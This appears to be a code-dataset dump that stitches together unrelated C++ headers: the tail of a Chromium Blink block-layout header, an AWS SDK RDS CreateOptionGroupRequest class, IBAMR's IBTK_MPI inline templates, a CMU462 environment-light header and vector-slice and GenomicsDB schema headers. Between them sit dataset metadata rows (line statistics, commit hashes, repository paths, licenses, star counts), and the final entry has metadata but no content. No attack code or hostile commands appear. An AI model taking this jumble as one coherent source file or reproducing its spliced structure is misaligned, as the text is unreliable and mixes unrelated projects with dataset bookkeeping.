container_builder_.SetSubtreeModifiedMarginStrut(); } // Return true if the BFC block offset has changed and this means that we // need to abort layout. bool NeedsAbortOnBfcBlockOffsetChange() const; // Positions a list marker for the specified block content. // Return false if it aborts when resolving BFC block offset for LI. bool PositionOrPropagateListMarker(const NGLayoutResult&, LogicalOffset*, NGPreviousInflowPosition*); // Positions a list marker when the block does not have any line boxes. // Return false if it aborts when resolving BFC block offset for LI. bool PositionListMarkerWithoutLineBoxes(NGPreviousInflowPosition*); // Calculates logical offset for the current fragment using either {@code // intrinsic_block_size_} when the fragment doesn't know it's offset or // {@code known_fragment_offset} if the fragment knows it's offset // @return Fragment's offset relative to the fragment's parent. LogicalOffset CalculateLogicalOffset( const NGFragment& fragment, LayoutUnit child_bfc_line_offset, const base::Optional<LayoutUnit>& child_bfc_block_offset); // In quirks mode the body element will stretch to fit the viewport. // // In order to determine the final block-size we need to take the available // block-size minus the total block-direction margin. // // This block-direction margin is non-trivial to calculate for the body // element, and is computed upfront for the |ClampIntrinsicBlockSize| // function. base::Optional<LayoutUnit> CalculateQuirkyBodyMarginBlockSum( const NGMarginStrut& end_margin_strut); // Returns true if |this| is a ruby segment (LayoutNGRubyRun) and the // specified |child| is a ruby annotation box (LayoutNGRubyText). bool IsRubyText(const NGLayoutInputNode& child) const; // Layout |ruby_text_child| content, and decide the location of // |ruby_text_child|. This is called only if IsRubyText() returns true. void LayoutRubyText(NGLayoutInputNode* ruby_text_child); LogicalSize child_percentage_size_; LogicalSize replaced_child_percentage_size_; scoped_refptr<const NGLayoutResult> previous_result_; // Intrinsic block size based on child layout and containment. LayoutUnit intrinsic_block_size_; // The line box index at which we ran out of space. This where we'll actually // end up breaking, unless we determine that we should break earlier in order // to satisfy the widows request. int first_overflowing_line_ = 0; // Set if we should fit as many lines as there's room for, i.e. no early // break. In that case we'll break before first_overflowing_line_. In this // case there'll either be enough widows for the next fragment, or we have // determined that we're unable to fulfill the widows request. bool fit_all_lines_ = false; // Set if we're resuming layout of a node that has already produced fragments. bool is_resuming_; // Set when we're to abort if the BFC block offset gets resolved or updated. // Sometimes we walk past elements (i.e. floats) that depend on the BFC block // offset being known (in order to position and lay themselves out properly). // When this happens, and we finally manage to resolve (or update) the BFC // block offset at some subsequent element, we need to check if this flag is // set, and abort layout if it is. bool abort_when_bfc_block_offset_updated_ = false; // This will be set during block fragmentation once we've processed the first // in-flow child of a container. It is used to check if we're at a valid class // A or B breakpoint (between block-level siblings or line box siblings). bool has_processed_first_child_ = false; NGExclusionSpace exclusion_space_; // If set, this is the number of lines until a clamp. A value of 1 indicates // the current line should be clamped. This may go negative. base::Optional<int> lines_until_clamp_; // If true, ignore the line-clamp property as truncation wont be required. bool ignore_line_clamp_ = false; // If set, one of the lines was clamped and this is the intrinsic size at the // time of the clamp. base::Optional<LayoutUnit> intrinsic_block_size_when_clamped_; // When set, this will specify where to break before or inside. const NGEarlyBreak* early_break_ = nullptr; }; } // namespace blink #endif // THIRD_PARTY_BLINK_RENDERER_CORE_LAYOUT_NG_NG_BLOCK_LAYOUT_ALGORITHM_H_
44.401496
92
0.737152
[ "geometry" ]
304f8c865fc92effbd9f6bd4990dbf4eb30b0f2e
11,385
h
C
aws-cpp-sdk-rds/include/aws/rds/model/CreateOptionGroupRequest.h
woohoou/aws-sdk-cpp
a42835a8aad2eac1e334d899a3fbfedcaa341d51
[ "Apache-2.0" ]
1
2020-07-16T19:03:13.000Z
2020-07-16T19:03:13.000Z
aws-cpp-sdk-rds/include/aws/rds/model/CreateOptionGroupRequest.h
woohoou/aws-sdk-cpp
a42835a8aad2eac1e334d899a3fbfedcaa341d51
[ "Apache-2.0" ]
18
2018-05-15T16:41:07.000Z
2018-05-21T00:46:30.000Z
aws-cpp-sdk-rds/include/aws/rds/model/CreateOptionGroupRequest.h
woohoou/aws-sdk-cpp
a42835a8aad2eac1e334d899a3fbfedcaa341d51
[ "Apache-2.0" ]
1
2019-10-31T11:19:50.000Z
2019-10-31T11:19:50.000Z
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/rds/RDS_EXPORTS.h> #include <aws/rds/RDSRequest.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <aws/core/utils/memory/stl/AWSVector.h> #include <aws/rds/model/Tag.h> #include <utility> namespace Aws { namespace RDS { namespace Model { /** * <p/><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/rds-2014-10-31/CreateOptionGroupMessage">AWS * API Reference</a></p> */ class AWS_RDS_API CreateOptionGroupRequest : public RDSRequest { public: CreateOptionGroupRequest(); // Service request name is the Operation name which will send this request out, // each operation should has unique request name, so that we can get operation's name from this request. // Note: this is not true for response, multiple operations may have the same response name, // so we can not get operation's name from response. inline virtual const char* GetServiceRequestName() const override { return "CreateOptionGroup"; } Aws::String SerializePayload() const override; protected: void DumpBodyToUrl(Aws::Http::URI& uri ) const override; public: /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline const Aws::String& GetOptionGroupName() const{ return m_optionGroupName; } /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline void SetOptionGroupName(const Aws::String& value) { m_optionGroupNameHasBeenSet = true; m_optionGroupName = value; } /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline void SetOptionGroupName(Aws::String&& value) { m_optionGroupNameHasBeenSet = true; m_optionGroupName = std::move(value); } /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline void SetOptionGroupName(const char* value) { m_optionGroupNameHasBeenSet = true; m_optionGroupName.assign(value); } /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline CreateOptionGroupRequest& WithOptionGroupName(const Aws::String& value) { SetOptionGroupName(value); return *this;} /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline CreateOptionGroupRequest& WithOptionGroupName(Aws::String&& value) { SetOptionGroupName(std::move(value)); return *this;} /** * <p>Specifies the name of the option group to be created.</p> <p>Constraints:</p> * <ul> <li> <p>Must be 1 to 255 letters, numbers, or hyphens</p> </li> <li> * <p>First character must be a letter</p> </li> <li> <p>Cannot end with a hyphen * or contain two consecutive hyphens</p> </li> </ul> <p>Example: * <code>myoptiongroup</code> </p> */ inline CreateOptionGroupRequest& WithOptionGroupName(const char* value) { SetOptionGroupName(value); return *this;} /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline const Aws::String& GetEngineName() const{ return m_engineName; } /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline void SetEngineName(const Aws::String& value) { m_engineNameHasBeenSet = true; m_engineName = value; } /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline void SetEngineName(Aws::String&& value) { m_engineNameHasBeenSet = true; m_engineName = std::move(value); } /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline void SetEngineName(const char* value) { m_engineNameHasBeenSet = true; m_engineName.assign(value); } /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline CreateOptionGroupRequest& WithEngineName(const Aws::String& value) { SetEngineName(value); return *this;} /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline CreateOptionGroupRequest& WithEngineName(Aws::String&& value) { SetEngineName(std::move(value)); return *this;} /** * <p>Specifies the name of the engine that this option group should be associated * with.</p> */ inline CreateOptionGroupRequest& WithEngineName(const char* value) { SetEngineName(value); return *this;} /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline const Aws::String& GetMajorEngineVersion() const{ return m_majorEngineVersion; } /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline void SetMajorEngineVersion(const Aws::String& value) { m_majorEngineVersionHasBeenSet = true; m_majorEngineVersion = value; } /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline void SetMajorEngineVersion(Aws::String&& value) { m_majorEngineVersionHasBeenSet = true; m_majorEngineVersion = std::move(value); } /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline void SetMajorEngineVersion(const char* value) { m_majorEngineVersionHasBeenSet = true; m_majorEngineVersion.assign(value); } /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline CreateOptionGroupRequest& WithMajorEngineVersion(const Aws::String& value) { SetMajorEngineVersion(value); return *this;} /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline CreateOptionGroupRequest& WithMajorEngineVersion(Aws::String&& value) { SetMajorEngineVersion(std::move(value)); return *this;} /** * <p>Specifies the major version of the engine that this option group should be * associated with.</p> */ inline CreateOptionGroupRequest& WithMajorEngineVersion(const char* value) { SetMajorEngineVersion(value); return *this;} /** * <p>The description of the option group.</p> */ inline const Aws::String& GetOptionGroupDescription() const{ return m_optionGroupDescription; } /** * <p>The description of the option group.</p> */ inline void SetOptionGroupDescription(const Aws::String& value) { m_optionGroupDescriptionHasBeenSet = true; m_optionGroupDescription = value; } /** * <p>The description of the option group.</p> */ inline void SetOptionGroupDescription(Aws::String&& value) { m_optionGroupDescriptionHasBeenSet = true; m_optionGroupDescription = std::move(value); } /** * <p>The description of the option group.</p> */ inline void SetOptionGroupDescription(const char* value) { m_optionGroupDescriptionHasBeenSet = true; m_optionGroupDescription.assign(value); } /** * <p>The description of the option group.</p> */ inline CreateOptionGroupRequest& WithOptionGroupDescription(const Aws::String& value) { SetOptionGroupDescription(value); return *this;} /** * <p>The description of the option group.</p> */ inline CreateOptionGroupRequest& WithOptionGroupDescription(Aws::String&& value) { SetOptionGroupDescription(std::move(value)); return *this;} /** * <p>The description of the option group.</p> */ inline CreateOptionGroupRequest& WithOptionGroupDescription(const char* value) { SetOptionGroupDescription(value); return *this;} inline const Aws::Vector<Tag>& GetTags() const{ return m_tags; } inline void SetTags(const Aws::Vector<Tag>& value) { m_tagsHasBeenSet = true; m_tags = value; } inline void SetTags(Aws::Vector<Tag>&& value) { m_tagsHasBeenSet = true; m_tags = std::move(value); } inline CreateOptionGroupRequest& WithTags(const Aws::Vector<Tag>& value) { SetTags(value); return *this;} inline CreateOptionGroupRequest& WithTags(Aws::Vector<Tag>&& value) { SetTags(std::move(value)); return *this;} inline CreateOptionGroupRequest& AddTags(const Tag& value) { m_tagsHasBeenSet = true; m_tags.push_back(value); return *this; } inline CreateOptionGroupRequest& AddTags(Tag&& value) { m_tagsHasBeenSet = true; m_tags.push_back(std::move(value)); return *this; } private: Aws::String m_optionGroupName; bool m_optionGroupNameHasBeenSet; Aws::String m_engineName; bool m_engineNameHasBeenSet; Aws::String m_majorEngineVersion; bool m_majorEngineVersionHasBeenSet; Aws::String m_optionGroupDescription; bool m_optionGroupDescriptionHasBeenSet; Aws::Vector<Tag> m_tags; bool m_tagsHasBeenSet; }; } // namespace Model } // namespace RDS } // namespace Aws
40.37234
154
0.677031
[ "vector", "model" ]
3051e28cbc667aac269ddaa7cd4a90a2c7ea707c
5,008
h
C
ibtk/include/ibtk/private/IBTK_MPI-inl.h
akashdhruv/IBAMR
a2b47946d795fb5a40c181b43e44a6ec387585a9
[ "BSD-3-Clause" ]
null
null
null
ibtk/include/ibtk/private/IBTK_MPI-inl.h
akashdhruv/IBAMR
a2b47946d795fb5a40c181b43e44a6ec387585a9
[ "BSD-3-Clause" ]
1
2019-07-30T17:54:49.000Z
2019-07-30T17:54:49.000Z
ibtk/include/ibtk/private/IBTK_MPI-inl.h
akashdhruv/IBAMR
a2b47946d795fb5a40c181b43e44a6ec387585a9
[ "BSD-3-Clause" ]
1
2019-09-30T03:40:20.000Z
2019-09-30T03:40:20.000Z
// --------------------------------------------------------------------- // // Copyright (c) 2019 - 2021 by the IBAMR developers // All rights reserved. // // This file is part of IBAMR. // // IBAMR is free software and is distributed under the 3-clause BSD // license. The full text of the license can be found in the file // COPYRIGHT at the top level directory of IBAMR. // // --------------------------------------------------------------------- /////////////////////////////// INCLUDE GUARD //////////////////////////////// #ifndef included_IBTK_MPI_inc #define included_IBTK_MPI_inc #include <ibtk/config.h> #include <ibtk/IBTK_MPI.h> namespace IBTK { template <typename T> inline T IBTK_MPI::minReduction(T x, int* rank_of_min) { minReduction(&x, 1, rank_of_min); return x; } // minReduction template <typename T> inline void IBTK_MPI::minReduction(T* x, const int n, int* rank_of_min) { if (n == 0) return; if (rank_of_min == nullptr) { MPI_Allreduce(MPI_IN_PLACE, x, n, mpi_type_id(x[0]), MPI_MIN, IBTK_MPI::getCommunicator()); } else { minMaxReduction(x, n, rank_of_min, MPI_MINLOC); } } // minReduction template <typename T> inline T IBTK_MPI::maxReduction(T x, int* rank_of_max) { maxReduction(&x, 1, rank_of_max); return x; } // maxReduction template <typename T> inline void IBTK_MPI::maxReduction(T* x, const int n, int* rank_of_max) { if (n == 0) return; if (rank_of_max == nullptr) { MPI_Allreduce(MPI_IN_PLACE, x, n, mpi_type_id(x[0]), MPI_MAX, IBTK_MPI::getCommunicator()); } else { minMaxReduction(x, n, rank_of_max, MPI_MAXLOC); } } // maxReduction template <typename T> inline T IBTK_MPI::sumReduction(T x) { // This check is useful since it occurs earlier than the mpi_type_id() base // case failure (and it has a clearer error message) static_assert(!std::is_pointer<T>::value, "This function cannot be instantiated for pointer types " "since it does not make sense to sum pointers."); sumReduction(&x, 1); return x; } // sumReduction template <typename T> inline void IBTK_MPI::sumReduction(T* x, const int n) { if (n == 0 || getNodes() < 2) return; MPI_Allreduce(MPI_IN_PLACE, x, n, mpi_type_id(x[0]), MPI_SUM, IBTK_MPI::getCommunicator()); } // sumReduction template <typename T> inline T IBTK_MPI::bcast(const T x, const int root) { int size = 1; T temp_copy = x; bcast(&temp_copy, size, root); return temp_copy; } template <typename T> inline void IBTK_MPI::bcast(T* x, int& length, const int root) { if (getNodes() > 1) { MPI_Bcast(x, length, mpi_type_id(x[0]), root, IBTK_MPI::getCommunicator()); } } // bcast template <typename T> inline void IBTK_MPI::send(const T* buf, const int length, const int receiving_proc_number, const bool send_length, int tag) { tag = (tag >= 0) ? tag : 0; int size = length; if (send_length) { MPI_Send(&size, 1, MPI_INT, receiving_proc_number, tag, IBTK_MPI::getCommunicator()); } MPI_Send(buf, length, mpi_type_id(buf[0]), receiving_proc_number, tag, IBTK_MPI::getCommunicator()); } // send template <typename T> inline void IBTK_MPI::recv(T* buf, int& length, const int sending_proc_number, const bool get_length, int tag) { MPI_Status status; tag = (tag >= 0) ? tag : 0; if (get_length) { MPI_Recv(&length, 1, MPI_INT, sending_proc_number, tag, IBTK_MPI::getCommunicator(), &status); } MPI_Recv(buf, length, mpi_type_id(buf[0]), sending_proc_number, tag, IBTK_MPI::getCommunicator(), &status); } // recv template <typename T> inline void IBTK_MPI::allGather(const T* x_in, int size_in, T* x_out, int size_out) { std::vector<int> rcounts, disps; allGatherSetup(size_in, size_out, rcounts, disps); MPI_Allgatherv(x_in, size_in, mpi_type_id(x_in[0]), x_out, rcounts.data(), disps.data(), mpi_type_id(x_in[0]), IBTK_MPI::getCommunicator()); } // allGather template <typename T> inline void IBTK_MPI::allGather(T x_in, T* x_out) { MPI_Allgather(&x_in, 1, mpi_type_id(x_in), x_out, 1, mpi_type_id(x_in), IBTK_MPI::getCommunicator()); } // allGather ////////////////////////////////////// PRIVATE /////////////////////////////////////////////////// template <typename T> inline void IBTK_MPI::minMaxReduction(T* x, const int n, int* rank, MPI_Op op) { std::vector<std::pair<T, int> > recv(n); std::vector<std::pair<T, int> > send(n); for (int i = 0; i < n; ++i) { send[i].first = x[i]; send[i].second = getRank(); } MPI_Allreduce(send.data(), recv.data(), n, mpi_type_id(recv[0]), op, IBTK_MPI::getCommunicator()); for (int i = 0; i < n; ++i) { x[i] = recv[i].first; rank[i] = recv[i].second; } } // minMaxReduction } // namespace IBTK #endif
27.217391
112
0.602236
[ "vector" ]
3059feea70c4c5eb7df9b07650e8d4cef43fee65
1,898
h
C
src/utils/vector_slice.h
yarny/gbdt
c99d90d7de57705c30b05d520a32e458985fd834
[ "Apache-2.0" ]
335
2016-09-18T07:49:25.000Z
2022-03-19T15:24:38.000Z
src/utils/vector_slice.h
yarny/gbdt
c99d90d7de57705c30b05d520a32e458985fd834
[ "Apache-2.0" ]
16
2016-05-08T02:14:46.000Z
2020-10-13T16:14:45.000Z
src/utils/vector_slice.h
yarny/gbdt
c99d90d7de57705c30b05d520a32e458985fd834
[ "Apache-2.0" ]
59
2016-08-05T22:22:16.000Z
2022-01-07T23:57:45.000Z
/* Copyright 2016 Jiang Chen <criver@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef VECTOR_SLICE_H_ #define VECTOR_SLICE_H_ #include <vector> using std::vector; // VectorSlice is designed to handle slices of a vector. It doesn't own memory. template <typename T> class VectorSlice { public: VectorSlice(typename vector<T>::iterator begin, typename vector<T>::iterator end) : begin_(begin), end_(end) {} VectorSlice(vector<T>& vec, int start, int length) : begin_(vec.begin() + start), end_(vec.begin() + start + length) {} VectorSlice(VectorSlice<T>& vec, int start, int length) : begin_(vec.begin() + start), end_(vec.begin() + start + length) {} VectorSlice(vector<T>& vec) : begin_(vec.begin()), end_(vec.end()) {} inline typename vector<T>::iterator begin() { return begin_; } inline typename vector<T>::iterator end() { return end_; } inline typename vector<T>::const_iterator begin() const { return begin_; } inline typename vector<T>::const_iterator end() const { return end_; } inline T& operator [](int i) { return *(begin_ + i); } inline const T& operator [](int i) const { return *(begin_ + i); } inline int size() const { return end_ - begin_; } private: typename vector<T>::iterator begin_; typename vector<T>::iterator end_; }; #endif // VECTOR_SLICE_H_
30.126984
79
0.686512
[ "vector" ]
305b356a4059495e862d940ea7c3afe456e9f0f6
1,011
h
C
data-server/src/raft/src/impl/raft_log_unstable.h
13meimei/sharkstore
b73fd09e8cddf78fc1f690219529770b278b35b6
[ "Apache-2.0" ]
1
2019-09-11T06:16:42.000Z
2019-09-11T06:16:42.000Z
data-server/src/raft/src/impl/raft_log_unstable.h
gengdaomi/sharkstore
1b490176846d2da98ceca07a69b6c35646567a28
[ "Apache-2.0" ]
null
null
null
data-server/src/raft/src/impl/raft_log_unstable.h
gengdaomi/sharkstore
1b490176846d2da98ceca07a69b6c35646567a28
[ "Apache-2.0" ]
1
2021-09-03T10:35:21.000Z
2021-09-03T10:35:21.000Z
_Pragma("once"); #include <cstdint> #include <deque> #include "raft_types.h" namespace sharkstore { namespace raft { namespace impl { class UnstableLog { public: explicit UnstableLog(uint64_t offset); ~UnstableLog(); UnstableLog(const UnstableLog&) = delete; UnstableLog& operator=(const UnstableLog&) = delete; uint64_t offset() const { return offset_; } bool maybeLastIndex(uint64_t* last_index) const; bool maybeTerm(uint64_t index, uint64_t* term) const; void stableTo(uint64_t index, uint64_t term); void restore(uint64_t index); void truncateAndAppend(const std::vector<EntryPtr>& ents); void slice(uint64_t lo, uint64_t hi, std::vector<EntryPtr>* ents) const; void entries(std::vector<EntryPtr>* ents) const; private: void mustCheckOutOfBounds(uint64_t lo, uint64_t hi) const; private: uint64_t offset_ = 0; // 起始日志的index std::deque<EntryPtr> entries_; }; } /* namespace impl */ } /* namespace raft */ } /* namespace sharkstore */
23.511628
76
0.706231
[ "vector" ]
306dfd6e32928c33198b74fff7f99eaed3439b93
5,280
h
C
src/main/cpp/include/genomicsdb/variant_array_schema.h
Intel-HLS/GenomicsDB
0ad5451950661900c8e6c9db0c084ebecdf2351f
[ "MIT" ]
123
2016-04-05T20:17:55.000Z
2021-09-26T14:53:15.000Z
src/main/cpp/include/genomicsdb/variant_array_schema.h
Intel-HLS/GenomicsDB
0ad5451950661900c8e6c9db0c084ebecdf2351f
[ "MIT" ]
103
2016-04-04T23:27:09.000Z
2019-07-25T17:27:34.000Z
src/main/cpp/include/genomicsdb/variant_array_schema.h
Intel-HLS/GenomicsDB
0ad5451950661900c8e6c9db0c084ebecdf2351f
[ "MIT" ]
34
2016-04-06T20:02:17.000Z
2020-05-17T13:43:22.000Z
/** * The MIT License (MIT) * Copyright (c) 2016-2017 Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef VARIANT_ARRAY_SCHEMA_H #define VARIANT_ARRAY_SCHEMA_H #include "headers.h" #include "tiledb.h" #include "gt_common.h" //Exceptions thrown class VariantArraySchemaException : public std::exception { public: VariantArraySchemaException(const std::string m="") : msg_("VariantArraySchemaException exception : "+m) { ; } ~VariantArraySchemaException() { ; } // ACCESSORS /** Returns the exception message. */ const char* what() const noexcept { return msg_.c_str(); } private: std::string msg_; }; enum VariantArraySchemaFixedFieldsEnum { VARIANT_ARRAY_SCHEMA_END_IDX=0u, VARIANT_ARRAY_SCHEMA_REF_IDX, VARIANT_ARRAY_SCHEMA_ALT_IDX, VARIANT_ARRAY_SCHEMA_QUAL_IDX, VARIANT_ARRAY_SCHEMA_FILTER_IDX }; class AttributeInfo { public: AttributeInfo() : m_type(typeid(void)) { m_idx = -1; m_length = -1; m_compression_type = -1; m_element_size = UNDEFINED_UINT64_T_VALUE; } int m_idx; int m_length; int m_compression_type; std::string m_name; std::type_index m_type; size_t m_element_size; }; class VariantArraySchema { public: /* * Empty variant schema */ VariantArraySchema() : m_dim_type(std::type_index(typeid(int64_t))) { m_cell_order = TILEDB_COL_MAJOR; m_dim_compression_type = -1; m_dim_size_in_bytes = 0; } /* * Wrapper around ArraySchema for irregular tiles */ VariantArraySchema(const std::string& array_name, const std::vector<std::string>& attribute_names, const std::vector<std::string>& dim_names, const std::vector<std::pair<int64_t, int64_t> >& dim_domains, const std::vector<std::type_index>& types, const std::vector<int>& val_num, const std::vector<int> compression, int cell_order = TILEDB_COL_MAJOR); /* * Access functions * */ inline const std::string& array_name() const { return m_array_name; } inline size_t attribute_num() const { return m_attributes_vector.size(); } inline const std::string& attribute_name(int idx) const { assert(static_cast<size_t>(idx) < m_attributes_vector.size()); return m_attributes_vector[idx].m_name; } inline const std::type_index& type(int idx) const { assert(static_cast<size_t>(idx) < m_attributes_vector.size()); return m_attributes_vector[idx].m_type; } inline const int val_num(int idx) const { assert(static_cast<size_t>(idx) < m_attributes_vector.size()); return m_attributes_vector[idx].m_length; } inline const bool is_variable_length_field(const int idx) const { return (val_num(idx) == TILEDB_VAR_NUM); } inline const size_t element_size(const int idx) const { assert(static_cast<size_t>(idx) < m_attributes_vector.size()); assert(m_attributes_vector[idx].m_element_size != UNDEFINED_UINT64_T_VALUE); return m_attributes_vector[idx].m_element_size; } inline const int compression(int idx) const { assert(static_cast<size_t>(idx) < m_attributes_vector.size()); return m_attributes_vector[idx].m_compression_type; } inline const std::vector<std::pair<int64_t,int64_t>>& dim_domains() const { return m_dim_domains; } inline const std::vector<std::string>& dim_names() const { return m_dim_names; } inline const std::type_index& dim_type() const { return m_dim_type; } inline size_t dim_length() const { return m_dim_names.size(); } inline const int dim_compression_type() const { return m_dim_compression_type; } inline const size_t dim_size_in_bytes() const { return m_dim_size_in_bytes; } private: std::string m_array_name; int m_cell_order; //Attributes info std::vector<AttributeInfo> m_attributes_vector; std::unordered_map<std::string, size_t> m_attribute_name_to_idx; //Dimensions info std::vector<std::pair<int64_t, int64_t>> m_dim_domains; std::vector<std::string> m_dim_names; std::type_index m_dim_type; int m_dim_compression_type; size_t m_dim_size_in_bytes; }; #endif
35.2
114
0.707955
[ "vector" ]
3072be7ea74c03008bccbe1705c8910edd43de4e
2,551
h
C
assignments/2.0_3.0_4.0_Scotty3D/src/static_scene/environment_light.h
Ubpa/CMU_15_462
d2841b6ff26cc214792de8d347f90681a8193b29
[ "MIT" ]
68
2018-12-30T20:40:15.000Z
2022-03-25T20:22:04.000Z
assignments/2.0_3.0_4.0_Scotty3D/src/static_scene/environment_light.h
zhengqili/CMU_15_462
f18a54854506611d099aa570e914ee6a2faf17d3
[ "MIT" ]
1
2021-05-04T17:29:52.000Z
2021-05-05T09:08:31.000Z
assignments/2.0_3.0_4.0_Scotty3D/src/static_scene/environment_light.h
zhengqili/CMU_15_462
f18a54854506611d099aa570e914ee6a2faf17d3
[ "MIT" ]
16
2019-04-22T13:26:23.000Z
2022-02-15T07:59:15.000Z
#ifndef CMU462_STATICSCENE_ENVIRONMENTLIGHT_H #define CMU462_STATICSCENE_ENVIRONMENTLIGHT_H #include "../sampler.h" #include "../image.h" #include "scene.h" namespace CMU462 { namespace StaticScene { // An environment light can be thought of as an infinitely big sphere centered // around your scene, radiating light on the scene in a pattern matching some // image. This is commonly used for low-cost renderings of complex backrounds or // environments (fancy church, overgrown forest, etc) that would be difficult to // model in the scene. class EnvironmentLight : public SceneLight { public: EnvironmentLight(const HDRImageBuffer* envMap); /** * In addition to the work done by sample_dir, this function also has to * choose a ray direction to sample along. You should initially use a uniform * randomly distributed direction, but later you'll be required to implement * this with importance sampling. The requirements are: * - Sample within a pixel with probability proportional to the total power * going through that pixel (so proportional to the pixel's area when * projected onto the sphere, multiplied by the sum of the components of its * Spectrum). This is a discrete probability distribution, so there's no * formula. * - Don't take linear time to generate a single sample! You'll be calling * this a LOT; it should be fast. */ Spectrum sample_L(const Vector3D& p, Vector3D* wi, float* distToLight, float* pdf) const; bool is_delta_light() const { return false; } virtual float pdf(const Vector3D& p, const Vector3D& wi); /** * Returns the color found on the environment map by travelling in a specific * direction. This entails: * - Converting the 3-d ray direction into a 2-d image coordinate. * - Performing bilinear interpolation to determine the color at the given * coordinate. * - Handling the edge cases correctly (what happens if you wrap around the * environment map horizontally? What about vertically?). */ Spectrum sample_dir(const Vector3D& dir) const; private: class AliasTable { public: void Init(const std::vector<double> & pTable); // p : [0, 1) size_t Sample(double p) const; private: struct Item { int idx[2]; double spiltP; }; std::vector<Item> items; }; AliasTable table; std::vector<double> pMap; const HDRImageBuffer* envMap; }; // class EnvironmentLight } // namespace StaticScene } // namespace CMU462 #endif // CMU462_STATICSCENE_ENVIRONMENTLIGHT_H
35.430556
80
0.720894
[ "vector", "model" ]
3072f23f8afa39d51168d5206313055a941d320b
13,262
h
C
mindspore/ccsrc/backend/kernel_compiler/gpu/arrays/array_reduce_gpu_kernel.h
Greatpanc/mindspore_zhb
c2511f7d6815b9232ac4427e27e2c132ed03e0d9
[ "Apache-2.0" ]
null
null
null
mindspore/ccsrc/backend/kernel_compiler/gpu/arrays/array_reduce_gpu_kernel.h
Greatpanc/mindspore_zhb
c2511f7d6815b9232ac4427e27e2c132ed03e0d9
[ "Apache-2.0" ]
null
null
null
mindspore/ccsrc/backend/kernel_compiler/gpu/arrays/array_reduce_gpu_kernel.h
Greatpanc/mindspore_zhb
c2511f7d6815b9232ac4427e27e2c132ed03e0d9
[ "Apache-2.0" ]
null
null
null
